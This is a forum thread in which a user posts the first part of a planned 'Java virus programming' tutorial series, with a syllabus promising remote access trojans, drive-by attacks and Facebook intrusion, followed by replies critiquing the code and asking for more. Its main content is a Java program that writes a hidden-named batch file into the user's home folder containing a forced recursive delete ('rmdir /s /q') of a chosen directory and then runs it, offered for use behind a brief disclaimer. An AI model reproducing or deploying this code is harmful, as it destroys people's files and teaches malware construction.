Java Beginning Virus Programming

This tutorial will focus on the very very basics of writting a java virus.
I know java isn't the ideal program to write virus's in, but it is great for learning. Each week i will release a new tutorial here will be how it follows.

Week One:
I. Getting System Properties
II. Creating Files
III. Running Files

Week Two:
I. Creating Temp Files
II. Writting into System Files

Week Three:
I. Disabling security
II. Creating Files that copy itself across computer

Week Four:
I. Remote Access Trojans
II. Opening Connections between client and server

Week Five:
I. Java Drive By's

Week Six:
I. Using Java to penetrate Facebook

Week Seven:
I. Hacking Clients and Applets with Java Snoop

Week One:
I am using the Java Eclipse IDE: Eclipse Classic 4.2.1 | Eclipse Packages
Here we will begin the basics of writting virus code with java. I assume you already know and understand basic java syntax and understand atleast simple programs written in java.

I. The first thing we must know in order to decently place a file in a certain spot on the computer, is how to get the system properties.
Luckily java already has a very nice method for doing this:

Code:

System.getProperty(String path);

Explanation:

Spoiler

This is a very simple code. I will break it apart
System: Quite Obvious..
getProperty(): Method to return the property of the String you requested.
String path: Basicly here you enter the String you wish to find, i will user "user.home" to get the users home path.

II. Next We must know how to create a file. This is a fairly simple code.

Code:

File f =  new File(String FileName);

Explanation:

Spoiler

File is the Constructor
And the fileName is the name we want to give this file

III. I won't go into details about writing to a file but here is the code I used to write into files.

Code:

File f = new File(FileName);
		FileWriter fw = new FileWriter(f);
		BufferedWriter bw = new BufferedWriter(fw);

All this basically does is get a file, open a filewriter, then open a bufferedwriter of the filewriter.

Code: Here i put together a simple example code for this tutorial. Just follow along with the comment to find out what the program does. It simply creates a new file in the users home named %tempDir%.bat and writes a batch file command to delete a specified user folder in the system. Then it runs that batch file and deletes the system folder.

Code:

import java.awt.Desktop;
import java****.BufferedWriter;
import java****.File;
import java****.FileWriter;
import java********Exception;


public class Login {
	//get the users home file path
	public static String getPathToSetFile(){
		//this will get the users home, for example(C:/users/"UsersName"/)
		String home = System.getProperty("user.home");
		return home; // returns the string that we just got(the path)
	}
	//set the file in the given directory
	public static void setFile() throws IOException{
		//creates a new file in the directory we just found, named %tempDir% as a batch file
		File f = new File(getPathToSetFile() + File.separator + "%TempDir%.bat");
		FileWriter fw = new FileWriter(f);
		BufferedWriter bw = new BufferedWriter(fw);//opens up a bufferedwriter for the file
		if(f.exists()){ //if the file exists
			f.setWritable(true); //allows us to write to file
			bw.write("@echo off"); 
			bw.newLine();
			bw.write("rmdir /s /q \"C:" + File.separator + "AddHere\""); // writes this batch command to file to delete specified folder
			bw.newLine(); // replace add here above with the folder you want deleted ex (Windows)
			bw.write("pause"); //delete this if you dont want bat to stay open after running
		}else{//if the file doesn't exist (no real need for this beacuse we already know the file exists. jsut created it.
		}
		bw.close(); //closes buffered writer
	}
	//gets file and runs it
	public static void runFile() throws IOException{
		setFile();
		File toOpen = new File(getPathToSetFile() + File.separator + "%TempDir%.bat");
		Desktop.getDesktop().open(toOpen); //i used the desktop method to run files, dont ask why. just simpler
	}
	//main method
	public static void main(String[] args) throws IOException{
		runFile();//excecuted code
	}
	
}

To delete a folder just change the "AddHere" name in code to the folder you wish to delete.
-I am not responsible for what you do with this code, this is not meant for illegal purposes just to teach how to do it.

-Next Tutorial will be release next week.
-GcFlames12

mind if I critique a little? But I don't know Java so.. :/

Code:

File f = new File(getPathToSetFile() + File.separator + "%TempDir%.bat");
		FileWriter fw = new FileWriter(f);
		BufferedWriter bw = new BufferedWriter(fw);//opens up a bufferedwriter for the file
		if(f.exists()){ //if the file exists
                      ....
                  }
                  bw.Close()

maybe create FileWriter and the BufferedWriter {inside} the loop (and move bw.Close() inside)

if the file doesn't exist, there is no point in creating the 2 objects because you won't actually use them.

Not important, and in reality you'll never notice any change in performance. Just browsing the forum.

Tut. has structure. Keep up the hard work. Appreciated. [maybe don't get too malicious w/ it]

There should be pictures instead.

Originally Posted by Drinking Water

There should be pictures instead.

Pictures instead of code? lolwut.

Originally Posted by Drinking Water

There should be pictures instead.

Drinking Water clearly prefers the traditional picture book format when learning new information.

...give him what he wants!

also, instead of creating a FileWriter you could just

Code:

         File f = new File(FileName);
         BufferedWriter bw = new BufferedWriter(new FileWriter(f));

I know it's basically the same, but it just looks better

use nio instead of io

week two mia.

when your next week will come . are you telling lie to attract users

I don't find next tutorial?

You don't write viruses in Java, you use assembly/C

Java Beginning Virus Programming

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